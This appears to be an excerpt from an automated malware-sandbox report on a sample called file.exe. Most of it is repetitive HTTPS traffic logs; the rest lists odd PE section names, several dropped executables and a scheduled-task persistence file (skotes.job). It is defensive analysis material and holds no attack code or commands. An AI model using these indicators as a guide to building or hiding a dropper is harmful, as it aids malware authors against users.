Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916

Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50041 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name:
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsKJEGDBKFIJ.exe.1.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name:
Source: random[1].exe.31.dr	Static PE information: section name: .idata
Source: random[1].exe.31.dr	Static PE information: section name:
Source: d96f7523a6.exe.31.dr	Static PE information: section name:
Source: d96f7523a6.exe.31.dr	Static PE information: section name: .idata
Source: d96f7523a6.exe.31.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	1_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C95F280

Source: C:\Users\user\DocumentsKJEGDBKFIJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9535A0	1_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C966C80	1_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B34A0	1_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BC4A0	1_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97D4D0	1_2_6C97D4D0
